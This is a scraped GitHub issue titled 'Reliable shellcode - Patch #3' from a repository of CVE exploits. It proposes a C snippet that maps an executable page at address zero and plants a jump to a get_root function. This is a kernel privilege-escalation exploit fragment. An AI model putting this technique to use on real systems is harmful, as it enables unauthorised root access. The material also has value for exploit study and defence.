search

nongiach / CVE

191 stars 54 forks source link

Reliable shellcode - Patch #3

Closed Geluchat closed 6 years ago

Geluchat commented 6 years ago 
char*mem = mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0);
mem[0] = '\xff';
mem[1] = '\x24';
mem[2] = '\x25';
*(unsigned long *)&mem[3] = 8;
*(unsigned long *)&mem[8] = (unsigned long)get_root;